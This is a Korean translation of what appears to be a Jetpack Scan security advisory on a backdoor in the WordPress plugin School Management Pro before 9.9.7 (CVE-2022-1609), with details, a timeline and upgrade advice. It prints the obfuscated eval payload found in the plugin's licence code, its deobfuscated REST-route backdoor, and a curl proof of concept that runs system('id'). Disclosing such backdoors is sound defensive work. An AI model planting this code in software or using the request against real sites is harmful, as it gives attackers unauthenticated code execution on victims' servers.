WordPress용 School Management Pro 플러그인에서 백도어 발견

게시 됨: 2022-05-20

Weblizar의 WordPress 플러그인 "The School Management Pro"의 9.9.7 이전 버전에는 인증되지 않은 공격자가 플러그인이 설치된 사이트에서 임의의 PHP 코드를 실행할 수 있는 백도어가 포함되어 있습니다. 사이트에 이전 버전이 설치되어 있는 경우 즉시 버전 9.9.7 이상으로 업그레이드하는 것이 좋습니다. 이것은 중요한 보안 문제입니다.

자세한 내용은 계속 읽으십시오.

세부:

  • 플러그인 이름: School Management Pro
  • 플러그인 슬러그: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management
  • 상인: 웨블리자
  • 영향을 받는 버전: < 9.9.7
  • CVE: CVE-2022-1609
  • CVSS 점수: 10.0(중요)
  • CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Jetpack Scan의 작업 중 일부는 호스팅하는 사이트에서 발견된 의심스러운 파일을 확인하여 호스팅된 WordPress 비즈니스를 지원하는 것입니다. 일반적으로 이는 파일이 당사 서명 중 하나에 의해 플래그 지정되었거나 사이트 소유자가 의심스러운 것을 발견하고 당사의 의견을 원하기 때문입니다. 사물의 특성과 마찬가지로 때때로 이러한 파일은 무해하고, 일부는 가양성이며, 일부는 적절하게 분류하는 더 많은 작업이 필요한 새로운 맬웨어 변종 또는 변종입니다.

그러나 때로는 우리가 함께 얻는 것이 더 흥미롭습니다.

몇 주 전에 그러한 사건이 하나 발생했습니다. 워드프레스닷컴 에스컬레이션 지원 팀은 여러 사이트의 플러그인에서 발견된 난독화되고 명백한 악성 코드에 대해 저희에게 연락했습니다.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

두 차례의 간단한 난독화 해제 후에는 다음을 제공합니다.

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

코드 자체는 그다지 흥미롭지 않습니다. 플러그인의 라이선스 확인 코드에 삽입된 명백한 백도어입니다. 아래 개념 증명에서 볼 수 있듯이 모든 공격자가 플러그인이 설치된 사이트에서 임의의 PHP 코드를 실행할 수 있습니다.

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

이것은 nulled 플러그인에서 흔히 볼 수 있는 것입니다. 이것은 너무 자주 발생하므로 이전 게시물에서 이미 유사한 사례를 다뤘습니다. 우리의 첫 번째 가정은 여기에서도 마찬가지라는 것이었습니다. 사이트 소유자가 그늘진 소스에서 플러그인을 설치했습니다.

그러나 설치된 플러그인은 공급업체로부터 직접 받은 것으로 확인되었습니다. 이것은 또한 문제가 되는 코드의 존재를 알게 된 후 문제가 되는 코드를 제거한 공급업체에 의해 신속하게 확인되었습니다.

우리는 백도어가 주입된 시기, 영향을 받는 버전, 처음에 플러그인에서 코드가 어떻게 종료되었는지에 대해 벤더로부터 더 많은 정보를 얻으려고 노력했습니다. 공급업체는 코드가 언제 어떻게 소프트웨어에 들어왔는지 알지 못하기 때문에 이러한 노력은 성공적이지 못했습니다.

우리는 호스팅 시스템에서 백도어를 포함하는 8.9 이상의 버전을 보았지만 백도어가 처음 나타난 시기에 대한 명확한 정보가 없기 때문에 9.9.7 이전 버전이 영향을 받는 것으로 가정해야 합니다.

종종 버전 번호가 포함된 슬러그를 사용하는 다양한 슬러그에서 작동하는 플러그인으로 인해 문제를 감지하고 경고하는 작업이 더욱 복잡해집니다. 호스팅 시스템에서 우리는 최소한 다음과 같은 변종을 보았습니다.

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

WordPress.org 플러그인 저장소의 무료 버전에는 라이선스 코드가 포함되어 있지 않으며 이 백도어의 영향도 받지 않습니다.

타임라인

2022-05-04: 에스컬레이션된 WordPress.com 지원 팀이 삽입된 코드를 발견하고 결과를 분석 및 확인하기 위해 Jetpack Scan에 연락합니다. 백도어임을 확인한 후 공급업체에 알립니다.

2022-05-05: 공급업체는 삽입된 코드가 실제로 배포판에 있음을 확인하고 백도어가 제거된 버전 9.9.7을 제공합니다. 깨끗한 것을 확인합니다.

2022-05-06: 공급업체는 고객에게 버전 9.9.7을 적극적으로 배포하고 업데이트하도록 권장합니다.

2022-05-10: 벤더는 백도어가 추가된 시기를 알았지만 모른다고 주장하는 우리의 추가 질문에 답했습니다. 그들은 백도어를 포함하는 이전 버전인 9.9.4를 제공했습니다.

결론

9.9.7 이전 버전의 School Management Pro가 설치된 사이트는 즉시 업그레이드하는 것이 좋습니다.

Jetpack에서는 이러한 유형의 취약점으로부터 웹사이트를 보호하기 위해 열심히 노력하고 있습니다. 악성 파일 검색 및 백업을 포함하는 사이트 보안 계획을 세우는 것이 좋습니다. Jetpack Security는 사이트와 방문자의 안전을 보장하는 훌륭한 WordPress 보안 옵션입니다.

크레딧

이 연구는 Nic Sevic, Thom Stackhouse 및 Joshua Goode가 있는 WordPress.com 에스컬레이션 지원 팀과 Harald Eilertsen 및 Fioravante Cavallari가 있는 Jetpack Scan 간의 협력이었습니다. 피드백과 수정을 해주신 Benedict Singer에게도 감사드립니다.